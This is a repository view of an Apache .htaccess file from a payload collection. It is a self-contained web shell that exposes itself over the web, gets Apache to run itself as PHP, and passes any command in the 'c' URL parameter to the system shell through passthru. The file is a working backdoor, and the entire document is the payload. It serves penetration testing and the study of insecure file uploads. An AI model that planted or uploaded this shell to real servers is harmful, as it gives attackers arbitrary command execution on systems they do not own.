killchain-compendium/misc/PayloadsAllTheThings/Upload Insecure Files/Configuration Apache .htaccess/.htaccess

15 lines
527 B
ApacheConf
Raw Normal View History

2022-05-31 21:08:28 +02:00
# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com
# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess
###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######